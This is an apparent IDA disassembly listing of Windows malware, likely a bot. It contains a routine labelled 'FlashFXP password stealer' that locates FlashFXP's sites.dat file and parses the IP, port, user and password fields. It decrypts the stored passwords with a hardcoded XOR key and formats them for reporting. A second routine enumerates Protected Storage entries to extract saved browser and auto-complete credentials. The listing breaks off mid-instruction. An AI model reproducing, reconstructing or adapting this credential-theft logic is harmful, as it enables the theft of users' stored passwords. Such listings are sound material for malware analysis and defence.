sub_416B9C ; atoi pop ecx mov [ebp+var_20], eax jmp short loc_4146E8 ; --------------------------------------------------------------------------- loc_4146E1: ; CODE XREF: sub_414600+D1j mov [ebp+var_20], 100h loc_4146E8: ; CODE XREF: sub_414600+DFj mov eax, [ebp+var_20] mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_4146FD cmp [ebp+var_10], 200h jbe short loc_414704 loc_4146FD: ; CODE XREF: sub_414600+F2j mov [ebp+var_10], 100h loc_414704: ; CODE XREF: sub_414600+FBj push 100h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B58 ; strncpy add esp, 0Ch mov eax, [ebp+var_4] mov cx, word ptr [ebp+var_8] mov [eax+104h], cx mov eax, [ebp+var_4] mov cx, word ptr [ebp+var_14] mov [eax+106h], cx cmp [ebp+var_C], 0EA60h jbe short loc_414749 mov [ebp+var_24], 0EA60h jmp short loc_41474F ; --------------------------------------------------------------------------- loc_414749: ; CODE XREF: sub_414600+13Ej mov eax, [ebp+var_C] mov [ebp+var_24], eax loc_41474F: ; CODE XREF: sub_414600+147j mov eax, [ebp+var_4] mov ecx, [ebp+var_24] mov [eax+108h], ecx cmp [ebp+var_10], 200h jbe short loc_41476D mov [ebp+var_28], 200h jmp short loc_414773 ; --------------------------------------------------------------------------- loc_41476D: ; CODE XREF: sub_414600+162j mov eax, [ebp+var_10] mov [ebp+var_28], eax loc_414773: ; CODE XREF: sub_414600+16Bj mov eax, [ebp+var_4] mov ecx, [ebp+var_28] mov [eax+10Ch], ecx push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 110h push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_4] push dword ptr [eax+10Ch] mov eax, [ebp+var_4] movzx eax, word ptr [eax+106h] push eax mov eax, [ebp+var_4] movzx eax, word ptr [eax+104h] push eax mov eax, [ebp+var_4] add eax, 4 push eax push offset dword_41D1E8 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset sub_4143B0 call sub_4095A4 add esp, 20h locret_4147E3: ; CODE XREF: sub_414600:loc_414612j ; sub_414600:loc_41463Ej ... leave retn sub_414600 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4147E5 proc near ; CODE XREF: sub_414A1E+373p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov [ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3" lea eax, [ebp+var_10] push eax push offset dword_418B54 push [ebp+arg_4] call sub_416BA2 ; sscanf add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414816 xor eax, eax jmp locret_4148CC ; --------------------------------------------------------------------------- loc_414816: ; CODE XREF: sub_4147E5+28j mov eax, [ebp+arg_4] inc eax inc eax mov [ebp+arg_4], eax loc_41481E: ; CODE XREF: sub_4147E5:loc_4148BEj lea eax, [ebp+var_C] push eax push offset dword_418B54 push [ebp+arg_4] call sub_416BA2 ; sscanf add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414842 xor eax, eax jmp locret_4148CC ; --------------------------------------------------------------------------- loc_414842: ; CODE XREF: sub_4147E5+54j mov eax, [ebp+var_8] movsx eax, byte ptr [eax] mov ecx, [ebp+var_C] xor ecx, eax mov [ebp+var_C], ecx mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_10] cmp eax, [ebp+var_C] jl short loc_414866 mov eax, [ebp+var_C] dec eax mov [ebp+var_C], eax loc_414866: ; CODE XREF: sub_4147E5+78j mov eax, [ebp+var_C] sub eax, [ebp+var_10] mov ecx, [ebp+arg_0] mov [ecx], al mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax lea eax, [ebp+var_10] push eax push offset dword_418B54 push [ebp+arg_4] call sub_416BA2 ; sscanf add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414899 xor eax, eax jmp short locret_4148CC ; --------------------------------------------------------------------------- loc_414899: ; CODE XREF: sub_4147E5+AEj mov eax, [ebp+arg_4] inc eax inc eax mov [ebp+arg_4], eax mov eax, [ebp+var_8] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4148B2 mov [ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3" loc_4148B2: ; CODE XREF: sub_4147E5+C4j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4148BE jmp short loc_4148C3 ; --------------------------------------------------------------------------- loc_4148BE: ; CODE XREF: sub_4147E5+D5j jmp loc_41481E ; --------------------------------------------------------------------------- loc_4148C3: ; CODE XREF: sub_4147E5+D7j mov eax, [ebp+arg_0] and byte ptr [eax], 0 push 1 pop eax locret_4148CC: ; CODE XREF: sub_4147E5+2Cj ; sub_4147E5+58j ... leave retn sub_4147E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4148CE proc near ; CODE XREF: sub_414A1E+30p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h and [ebp+var_14], 0 lea eax, [ebp+var_14] push eax push 20019h push 0 push offset aSoftwareClasse ; "SOFTWARE\\Classes\\Applications\\FlashFXP."... push 80000002h call ds:dword_417008 ; RegOpenKeyExA mov [ebp+var_10], eax mov [ebp+var_4], 104h lea eax, [ebp+var_4] push eax push [ebp+arg_0] push 0 push 0 push 0 push [ebp+var_14] call ds:dword_41700C ; RegQueryValueExA mov [ebp+var_10], eax push [ebp+var_14] call ds:dword_417028 ; RegCloseKey cmp [ebp+var_10], 0 jnz short loc_414971 push offset aFlashfxp_exe1 ; "FlashFXP.exe %1" push 4 push [ebp+arg_0] call sub_407ACA add esp, 0Ch mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_414945 jmp loc_414A17 ; --------------------------------------------------------------------------- loc_414945: ; CODE XREF: sub_4148CE+70j push offset aSites_dat ; "sites.dat" push [ebp+var_18] call sub_416B3A ; _mbscpy pop ecx pop ecx mov eax, [ebp+var_18] add eax, 0Fh push eax mov eax, [ebp+var_18] add eax, 9 push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push 1 pop eax jmp locret_414A1C ; --------------------------------------------------------------------------- loc_414971: ; CODE XREF: sub_4148CE+55j ; sub_4148CE:loc_414A17j push 104h push [ebp+arg_0] push offset aProgramfiles ; "ProgramFiles" call ds:dword_417104 ; GetEnvironmentVariableA push offset aFlashfxpSites_ ; "\\FlashFXP\\sites.dat" push [ebp+arg_0] call sub_416B70 ; _mbscat pop ecx pop ecx push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4149B0 push 1 pop eax jmp short locret_414A1C ; --------------------------------------------------------------------------- loc_4149B0: ; CODE XREF: sub_4148CE+DBj mov eax, ds:dword_419398 mov [ebp+var_C], eax loc_4149B8: ; CODE XREF: sub_4148CE+143j lea eax, [ebp+var_C] push eax call ds:dword_4170CC ; GetDriveTypeA mov [ebp+var_1C], eax cmp [ebp+var_1C], 5 jz short loc_414A02 cmp [ebp+var_1C], 2 jz short loc_414A02 lea eax, [ebp+var_C] push eax push offset aSflashfxpSites ; "%sFlashFXP\\sites.dat" push [ebp+arg_0] call sub_416B5E ; sprintf add esp, 0Ch push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_414A02 push 1 pop eax jmp short locret_414A1C ; --------------------------------------------------------------------------- loc_414A02: ; CODE XREF: sub_4148CE+FBj ; sub_4148CE+101j ... mov al, byte ptr [ebp+var_C] add al, 1 mov byte ptr [ebp+var_C], al movsx eax, byte ptr [ebp+var_C] cmp eax, 5Ah jnz short loc_4149B8 xor eax, eax jmp short locret_414A1C ; --------------------------------------------------------------------------- loc_414A17: ; CODE XREF: sub_4148CE+72j jmp loc_414971 ; --------------------------------------------------------------------------- locret_414A1C: ; CODE XREF: sub_4148CE+9Ej ; sub_4148CE+E0j ... leave retn sub_4148CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414A1E proc near ; DATA XREF: sub_414EB0+35o var_5E0 = dword ptr -5E0h var_5DC = dword ptr -5DCh var_5D8 = dword ptr -5D8h var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_5CC = dword ptr -5CCh var_5C8 = dword ptr -5C8h var_5C4 = byte ptr -5C4h var_544 = byte ptr -544h var_4C4 = byte ptr -4C4h var_444 = byte ptr -444h var_3C4 = dword ptr -3C4h var_3C0 = dword ptr -3C0h var_3BC = dword ptr -3BCh var_3B8 = dword ptr -3B8h var_3B4 = byte ptr -3B4h var_334 = dword ptr -334h var_330 = byte ptr -330h var_32C = dword ptr -32Ch var_328 = byte ptr -328h var_190 = byte ptr -190h var_184 = dword ptr -184h var_180 = byte ptr -180h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5E0h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_32C] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_180] push eax call sub_4148CE pop ecx test eax, eax jnz short loc_414A6B push [ebp+var_32C] call sub_409763 pop ecx xor eax, eax jmp locret_414EAC ; --------------------------------------------------------------------------- loc_414A6B: ; CODE XREF: sub_414A1E+38j mov eax, [ebp+var_32C] push dword ptr [eax] push offset unk_41D3B8 lea eax, [ebp+var_328] push eax call sub_40D53F add esp, 0Ch and [ebp+var_184], 0 and [ebp+var_334], 0 mov al, [ebp+var_190] mov [ebp+var_330], al and [ebp+var_190], 0 push offset aRb ; "rb" lea eax, [ebp+var_180] push eax call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_3C4], eax cmp [ebp+var_3C4], 0 jnz short loc_414ACF jmp loc_414EAA ; --------------------------------------------------------------------------- loc_414ACF: ; CODE XREF: sub_414A1E+AAj push 2 push 0 push [ebp+var_3C4] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_3C4] call sub_416B76 ; ftell pop ecx mov [ebp+var_3C0], eax cmp [ebp+var_3C0], 100000h jnb short loc_414B0D mov eax, [ebp+var_3C0] mov [ebp+var_5E0], eax jmp short loc_414B17 ; --------------------------------------------------------------------------- loc_414B0D: ; CODE XREF: sub_414A1E+DFj mov [ebp+var_5E0], 100000h loc_414B17: ; CODE XREF: sub_414A1E+EDj mov eax, [ebp+var_5E0] mov [ebp+var_3C0], eax push 0 push 0 push [ebp+var_3C4] call sub_416B96 ; fseek add esp, 0Ch mov eax, [ebp+var_3C0] inc eax push eax call sub_416B46 ; malloc pop ecx mov [ebp+var_3BC], eax cmp [ebp+var_3BC], 0 jnz short loc_414B63 push [ebp+var_3C4] call sub_416B82 ; fclose pop ecx jmp loc_414EA8 ; --------------------------------------------------------------------------- loc_414B63: ; CODE XREF: sub_414A1E+132j push [ebp+var_3C4] push [ebp+var_3C0] push 1 push [ebp+var_3BC] call sub_416B90 ; fread add esp, 10h push [ebp+var_3C4] call sub_416B82 ; fclose pop ecx mov eax, [ebp+var_3BC] add eax, [ebp+var_3C0] and byte ptr [eax], 0 mov eax, [ebp+var_3BC] mov [ebp+var_3B8], eax loc_414BA6: ; CODE XREF: sub_414A1E+428j push offset asc_41D3B0 ; "\r\n\r\n[" push [ebp+var_3B8] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5DC], eax mov eax, [ebp+var_3B8] mov [ebp+var_5D0], eax push offset aIp ; "\r\nIP=" push [ebp+var_3B8] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5C8], eax push offset aPort ; "\r\nPort=" push [ebp+var_3B8] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5D8], eax push offset aUser_0 ; "\r\nUser=" push [ebp+var_3B8] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5CC], eax push offset aPass_0 ; "\r\nPass=" push [ebp+var_3B8] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_5D4], eax cmp [ebp+var_5C8], 0 jz loc_414E13 cmp [ebp+var_5DC], 0 jz short loc_414C52 mov eax, [ebp+var_5C8] cmp eax, [ebp+var_5DC] jnb loc_414E13 loc_414C52: ; CODE XREF: sub_414A1E+220j cmp [ebp+var_5D8], 0 jz loc_414E13 cmp [ebp+var_5DC], 0 jz short loc_414C7A mov eax, [ebp+var_5D8] cmp eax, [ebp+var_5DC] jnb loc_414E13 loc_414C7A: ; CODE XREF: sub_414A1E+248j cmp [ebp+var_5CC], 0 jz loc_414E13 cmp [ebp+var_5DC], 0 jz short loc_414CA2 mov eax, [ebp+var_5CC] cmp eax, [ebp+var_5DC] jnb loc_414E13 loc_414CA2: ; CODE XREF: sub_414A1E+270j cmp [ebp+var_5D4], 0 jz loc_414E13 cmp [ebp+var_5DC], 0 jz short loc_414CCA mov eax, [ebp+var_5D4] cmp eax, [ebp+var_5DC] jnb loc_414E13 loc_414CCA: ; CODE XREF: sub_414A1E+298j and [ebp+var_4C4], 0 mov al, [ebp+var_4C4] mov [ebp+var_3B4], al mov al, [ebp+var_3B4] mov [ebp+var_5C4], al mov al, [ebp+var_5C4] mov [ebp+var_444], al mov al, [ebp+var_444] mov [ebp+var_544], al lea eax, [ebp+var_544] push eax push offset asc_41D384 ; "[%[^]]]\r\n" push [ebp+var_5D0] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp+var_444] push eax push offset aIp127s ; "\r\nIP=%127s\r\n" push [ebp+var_5C8] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp+var_5C4] push eax push offset aPort127s ; "\r\nPort=%127s\r\n" push [ebp+var_5D8] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp+var_3B4] push eax push offset aUser127s ; "\r\nUser=%127s\r\n" push [ebp+var_5CC] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp+var_4C4] push eax push offset aPass127s ; "\r\nPass=%127s\r\n" push [ebp+var_5D4] call sub_416BA2 ; sscanf add esp, 0Ch lea eax, [ebp+var_4C4] push eax lea eax, [ebp+var_4C4] push eax call sub_4147E5 pop ecx pop ecx test eax, eax jnz short loc_414DA1 jmp loc_414E4B ; --------------------------------------------------------------------------- loc_414DA1: ; CODE XREF: sub_414A1E+37Cj mov eax, [ebp+var_334] inc eax mov [ebp+var_334], eax push 3E8h call ds:dword_41709C ; Sleep lea eax, [ebp+var_544] push eax lea eax, [ebp+var_5C4] push eax lea eax, [ebp+var_444] push eax lea eax, [ebp+var_4C4] push eax lea eax, [ebp+var_3B4] push eax push [ebp+var_334] push offset dword_41D318 lea eax, [ebp+var_328] push eax call sub_40D53F add esp, 20h mov eax, [ebp+var_32C] cmp dword ptr [eax+4], 0 jz short loc_414E13 push [ebp+var_3BC] call sub_416B4C ; free pop ecx jmp loc_414EA6 ; --------------------------------------------------------------------------- loc_414E13: ; CODE XREF: sub_414A1E+213j ; sub_414A1E+22Ej ... mov eax, [ebp+var_184] inc eax mov [ebp+var_184], eax mov eax, [ebp+var_5DC] mov [ebp+var_3B8], eax cmp [ebp+var_3B8], 0 jnz short loc_414E37 jmp short loc_414E4B ; --------------------------------------------------------------------------- loc_414E37: ; CODE XREF: sub_414A1E+415j mov eax, [ebp+var_3B8] add eax, 4 mov [ebp+var_3B8], eax jmp loc_414BA6 ; --------------------------------------------------------------------------- loc_414E4B: ; CODE XREF: sub_414A1E+37Ej ; sub_414A1E+417j push [ebp+var_3BC] call sub_416B4C ; free pop ecx loc_414E57: ; CODE XREF: sub_414A1E:loc_414EA6j mov al, [ebp+var_330] mov [ebp+var_190], al push 3E8h call ds:dword_41709C ; Sleep push [ebp+var_184] push [ebp+var_334] mov eax, [ebp+var_32C] push dword ptr [eax] push offset unk_41D2DC lea eax, [ebp+var_328] push eax call sub_40D53F add esp, 14h loc_414E96: ; CODE XREF: sub_414A1E:loc_414EA8j ; sub_414A1E:loc_414EAAj push [ebp+var_32C] call sub_409763 pop ecx xor eax, eax jmp short locret_414EAC ; --------------------------------------------------------------------------- loc_414EA6: ; CODE XREF: sub_414A1E+3F0j jmp short loc_414E57 ; --------------------------------------------------------------------------- loc_414EA8: ; CODE XREF: sub_414A1E+140j jmp short loc_414E96 ; --------------------------------------------------------------------------- loc_414EAA: ; CODE XREF: sub_414A1E+ACj jmp short loc_414E96 ; --------------------------------------------------------------------------- locret_414EAC: ; CODE XREF: sub_414A1E+48j ; sub_414A1E+486j leave retn 4 sub_414A1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414EB0 proc near ; CODE XREF: sub_40A9CF+769p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414ECA jmp short locret_414EF2 ; --------------------------------------------------------------------------- loc_414ECA: ; CODE XREF: sub_414EB0+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aFlashfxpPasswo ; "FlashFXP password stealer" push 0 push [ebp+var_4] push offset sub_414A1E call sub_4095A4 add esp, 10h locret_414EF2: ; CODE XREF: sub_414EB0+18j leave retn sub_414EB0 endp ; =============== S U B R O U T I N E ======================================= sub_414EF4 proc near ; DATA XREF: sub_415AF0+40o mov eax, offset loc_416FDD call sub_416E10 sub esp, 0FFCh push esi push edi push 1A7h push dword ptr [ebp+8] lea eax, [ebp-0BF0h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx and dword ptr [ebp-0A00h], 0 and dword ptr [ebp-4], 0 cmp dword ptr [ebp-0A00h], 0 jz short loc_414F4C mov eax, [ebp-0A00h] mov ecx, [ebp-0A00h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_414F4C: ; CODE XREF: sub_414EF4+44j and dword ptr [ebp-0A00h], 0 push 0 push 0 push 0 lea eax, [ebp-0A00h] push eax call ds:dword_41DF50 mov [ebp-0DF4h], eax cmp dword ptr [ebp-0DF4h], 0 jge short loc_414FB2 push dword ptr [ebp-0BF0h] call sub_409763 pop ecx and dword ptr [ebp-0FD0h], 0 or dword ptr [ebp-4], 0FFFFFFFFh cmp dword ptr [ebp-0A00h], 0 jz short loc_414FA7 mov eax, [ebp-0A00h] mov ecx, [ebp-0A00h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_414FA7: ; CODE XREF: sub_414EF4+9Fj mov eax, [ebp-0FD0h] jmp loc_415AE0 ; --------------------------------------------------------------------------- loc_414FB2: ; CODE XREF: sub_414EF4+7Fj and dword ptr [ebp-10h], 0 mov byte ptr [ebp-4], 1 cmp dword ptr [ebp-10h], 0 jz short loc_414FCC mov eax, [ebp-10h] mov ecx, [ebp-10h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_414FCC: ; CODE XREF: sub_414EF4+CAj and dword ptr [ebp-10h], 0 cmp dword ptr [ebp-0A00h], 0 jnz short loc_414FE3 push 80004003h call sub_416E40 loc_414FE3: ; CODE XREF: sub_414EF4+E3j mov eax, [ebp-0A00h] mov [ebp-0FE0h], eax lea eax, [ebp-10h] push eax push 0 push 0 mov eax, [ebp-0FE0h] mov eax, [eax] push dword ptr [ebp-0FE0h] call dword ptr [eax+38h] mov [ebp-0FDCh], eax cmp dword ptr [ebp-0FDCh], 0 jge short loc_41502D push offset dword_41D648 push dword ptr [ebp-0FE0h] push dword ptr [ebp-0FDCh] call sub_416E4E loc_41502D: ; CODE XREF: sub_414EF4+121j mov eax, [ebp-0FDCh] mov [ebp-0DF4h], eax cmp dword ptr [ebp-0DF4h], 0 jge short loc_415095 push dword ptr [ebp-0BF0h] call sub_409763 pop ecx and dword ptr [ebp-0FD4h], 0 and byte ptr [ebp-4], 0 cmp dword ptr [ebp-10h], 0 jz short loc_41506B mov eax, [ebp-10h] mov ecx, [ebp-10h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_41506B: ; CODE XREF: sub_414EF4+169j or dword ptr [ebp-4], 0FFFFFFFFh cmp dword ptr [ebp-0A00h], 0 jz short loc_41508A mov eax, [ebp-0A00h] mov ecx, [ebp-0A00h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_41508A: ; CODE XREF: sub_414EF4+182j mov eax, [ebp-0FD4h] jmp loc_415AE0 ; --------------------------------------------------------------------------- loc_415095: ; CODE XREF: sub_414EF4+14Cj mov eax, [ebp-0BF0h] push dword ptr [eax] push offset unk_41D614 lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 0Ch and dword ptr [ebp-214h], 0 mov al, [ebp-0A54h] mov [ebp-0A14h], al and byte ptr [ebp-0A54h], 0 loc_4150CB: ; CODE XREF: sub_414EF4:loc_415A54j cmp dword ptr [ebp-10h], 0 jnz short loc_4150DB push 80004003h call sub_416E40 loc_4150DB: ; CODE XREF: sub_414EF4+1DBj push 0 lea eax, [ebp-0A10h] push eax push 1 mov eax, [ebp-10h] mov [ebp-1000h], eax mov eax, [ebp-1000h] mov eax, [eax] push dword ptr [ebp-1000h] call dword ptr [eax+0Ch] test eax, eax jnz loc_415A59 mov eax, [ebp-0BF0h] cmp dword ptr [eax+4], 0 jz short loc_415119 jmp loc_415A59 ; --------------------------------------------------------------------------- loc_415119: ; CODE XREF: sub_414EF4+21Ej sub esp, 10h lea esi, [ebp-0A10h] mov edi, esp movsd movsd movsd movsd push offset asc_41D610 ; "%x" lea eax, [ebp-0A48h] push eax call ds:dword_4171E0 ; wsprintfA add esp, 18h and dword ptr [ebp-0DF8h], 0 mov byte ptr [ebp-4], 2 cmp dword ptr [ebp-0DF8h], 0 jz short loc_415163 mov eax, [ebp-0DF8h] mov ecx, [ebp-0DF8h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415163: ; CODE XREF: sub_414EF4+25Bj and dword ptr [ebp-0DF8h], 0 cmp dword ptr [ebp-0A00h], 0 jnz short loc_41517D push 80004003h call sub_416E40 loc_41517D: ; CODE XREF: sub_414EF4+27Dj mov eax, [ebp-0A00h] mov [ebp-0FE8h], eax lea eax, [ebp-0DF8h] push eax push 0 lea eax, [ebp-0A10h] push eax push 0 mov eax, [ebp-0FE8h] mov eax, [eax] push dword ptr [ebp-0FE8h] call dword ptr [eax+3Ch] mov [ebp-0FE4h], eax cmp dword ptr [ebp-0FE4h], 0 jge short loc_4151D1 push offset dword_41D648 push dword ptr [ebp-0FE8h] push dword ptr [ebp-0FE4h] call sub_416E4E loc_4151D1: ; CODE XREF: sub_414EF4+2C5j mov eax, [ebp-0FE4h] mov [ebp-0DF4h], eax loc_4151DD: ; CODE XREF: sub_414EF4:loc_415A30j cmp dword ptr [ebp-0DF8h], 0 jnz short loc_4151F0 push 80004003h call sub_416E40 loc_4151F0: ; CODE XREF: sub_414EF4+2F0j push 0 lea eax, [ebp-0E08h] push eax push 1 mov eax, [ebp-0DF8h] mov [ebp-1004h], eax mov eax, [ebp-1004h] mov eax, [eax] push dword ptr [ebp-1004h] call dword ptr [eax+0Ch] test eax, eax jnz loc_415A35 and dword ptr [ebp-0E14h], 0 mov byte ptr [ebp-4], 3 cmp dword ptr [ebp-0E14h], 0 jz short loc_415246 mov eax, [ebp-0E14h] mov ecx, [ebp-0E14h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415246: ; CODE XREF: sub_414EF4+33Ej and dword ptr [ebp-0E14h], 0 cmp dword ptr [ebp-0A00h], 0 jnz short loc_415260 push 80004003h call sub_416E40 loc_415260: ; CODE XREF: sub_414EF4+360j mov eax, [ebp-0A00h] mov [ebp-0FF0h], eax lea eax, [ebp-0E14h] push eax push 0 lea eax, [ebp-0E08h] push eax lea eax, [ebp-0A10h] push eax push 0 mov eax, [ebp-0FF0h] mov eax, [eax] push dword ptr [ebp-0FF0h] call dword ptr [eax+54h] mov [ebp-0FECh], eax cmp dword ptr [ebp-0FECh], 0 jge short loc_4152BB push offset dword_41D648 push dword ptr [ebp-0FF0h] push dword ptr [ebp-0FECh] call sub_416E4E loc_4152BB: ; CODE XREF: sub_414EF4+3AFj mov eax, [ebp-0FECh] mov [ebp-0E10h], eax loc_4152C7: ; CODE XREF: sub_414EF4+B18j cmp dword ptr [ebp-0E14h], 0 jnz short loc_4152DA push 80004003h call sub_416E40 loc_4152DA: ; CODE XREF: sub_414EF4+3DAj push 0 lea eax, [ebp-0E0Ch] push eax push 1 mov eax, [ebp-0E14h] mov [ebp-1008h], eax mov eax, [ebp-1008h] mov eax, [eax] push dword ptr [ebp-1008h] call dword ptr [eax+0Ch] test eax, eax jnz loc_415A11 push dword ptr [ebp-0E0Ch] push offset aWs ; "%ws" lea eax, [ebp-210h] push eax call ds:dword_4171E0 ; wsprintfA add esp, 0Ch and dword ptr [ebp-0E18h], 0 and dword ptr [ebp-0EE8h], 0 and dword ptr [ebp-0EE4h], 0 cmp dword ptr [ebp-0A00h], 0 jnz short loc_41534D push 80004003h call sub_416E40 loc_41534D: ; CODE XREF: sub_414EF4+44Dj mov eax, [ebp-0E0Ch] loc_415353: ; DATA XREF: UPX1:off_419100o mov [ebp-0FFCh], eax mov eax, [ebp-0A00h] mov [ebp-0FF8h], eax push 0 push dword ptr [ebp-0EE4h] lea eax, [ebp-0EE8h] push eax lea eax, [ebp-0E18h] push eax push dword ptr [ebp-0FFCh] lea eax, [ebp-0E08h] push eax lea eax, [ebp-0A10h] push eax push 0 mov eax, [ebp-0FF8h] mov eax, [eax] push dword ptr [ebp-0FF8h] call dword ptr [eax+44h] mov [ebp-0FF4h], eax cmp dword ptr [ebp-0FF4h], 0 jge short loc_4153C7 push offset dword_41D648 push dword ptr [ebp-0FF8h] push dword ptr [ebp-0FF4h] call sub_416E4E loc_4153C7: ; CODE XREF: sub_414EF4+4BBj mov eax, [ebp-0FF4h] mov [ebp-0E10h], eax push dword ptr [ebp-0EE8h] call sub_416B40 ; strlen pop ecx mov ecx, [ebp-0E18h] dec ecx cmp eax, ecx jnb loc_415477 and dword ptr [ebp-0EECh], 0 and dword ptr [ebp-0EF0h], 0 jmp short loc_41540C ; --------------------------------------------------------------------------- loc_4153FE: ; CODE XREF: sub_414EF4+571j mov eax, [ebp-0EF0h] inc eax inc eax mov [ebp-0EF0h], eax loc_41540C: ; CODE XREF: sub_414EF4+508j mov eax, [ebp-0EF0h] cmp eax, [ebp-0E18h] jnb short loc_415467 mov eax, [ebp-0EE8h] add eax, [ebp-0EF0h] movzx eax, byte ptr [eax] test eax, eax jnz short loc_41543D mov eax, [ebp-0EECh] mov byte ptr [ebp+eax-9FCh], 2Ch jmp short loc_415458 ; --------------------------------------------------------------------------- loc_41543D: ; CODE XREF: sub_414EF4+537j mov eax, [ebp-0EE8h] add eax, [ebp-0EF0h] mov ecx, [ebp-0EECh] mov al, [eax] mov [ebp+ecx-9FCh], al loc_415458: ; CODE XREF: sub_414EF4+547j mov eax, [ebp-0EECh] inc eax mov [ebp-0EECh], eax jmp short loc_4153FE ; --------------------------------------------------------------------------- loc_415467: ; CODE XREF: sub_414EF4+524j mov eax, [ebp-0EECh] and byte ptr [ebp+eax-9FDh], 0 jmp short loc_415492 ; --------------------------------------------------------------------------- loc_415477: ; CODE XREF: sub_414EF4+4F4j push dword ptr [ebp-0EE8h] push offset dword_418B64 lea eax, [ebp-9FCh] push eax call ds:dword_4171E0 ; wsprintfA add esp, 0Ch loc_415492: ; CODE XREF: sub_414EF4+581j push offset byte_41DF00 lea eax, [ebp-7FCh] push eax call ds:dword_4170FC ; lstrcpy push offset byte_41DF00 lea eax, [ebp-0DF0h] push eax call ds:dword_4170FC ; lstrcpy push offset a220d5cc1 ; "220d5cc1" lea eax, [ebp-0A48h] push eax call ds:dword_417108 ; lstrcmp test eax, eax jnz short loc_41550C mov eax, [ebp-214h] inc eax mov [ebp-214h], eax movsx eax, byte ptr [ebp-0A57h] test eax, eax jnz short loc_41550C lea eax, [ebp-9FCh] push eax lea eax, [ebp-210h] push eax push dword ptr [ebp-214h] push offset dword_41D5C0 lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 14h loc_41550C: ; CODE XREF: sub_414EF4+5D6j ; sub_414EF4+5EEj push offset a5e7e8100 ; "5e7e8100" lea eax, [ebp-0A48h] push eax call ds:dword_417108 ; lstrcmp test eax, eax jnz loc_4155CE push offset byte_41DF00 lea eax, [ebp-0EE0h] push eax call ds:dword_4170FC ; lstrcpy push offset asc_4184FC ; ":" lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_415587 push offset asc_4184FC ; ":" lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx inc eax push eax lea eax, [ebp-0EE0h] push eax call ds:dword_4170FC ; lstrcpy push offset asc_4184FC ; ":" lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx and byte ptr [eax], 0 loc_415587: ; CODE XREF: sub_414EF4+659j mov eax, [ebp-214h] inc eax mov [ebp-214h], eax push 3E8h call ds:dword_41709C ; Sleep lea eax, [ebp-0EE0h] push eax lea eax, [ebp-9FCh] push eax lea eax, [ebp-210h] push eax push dword ptr [ebp-214h] push offset 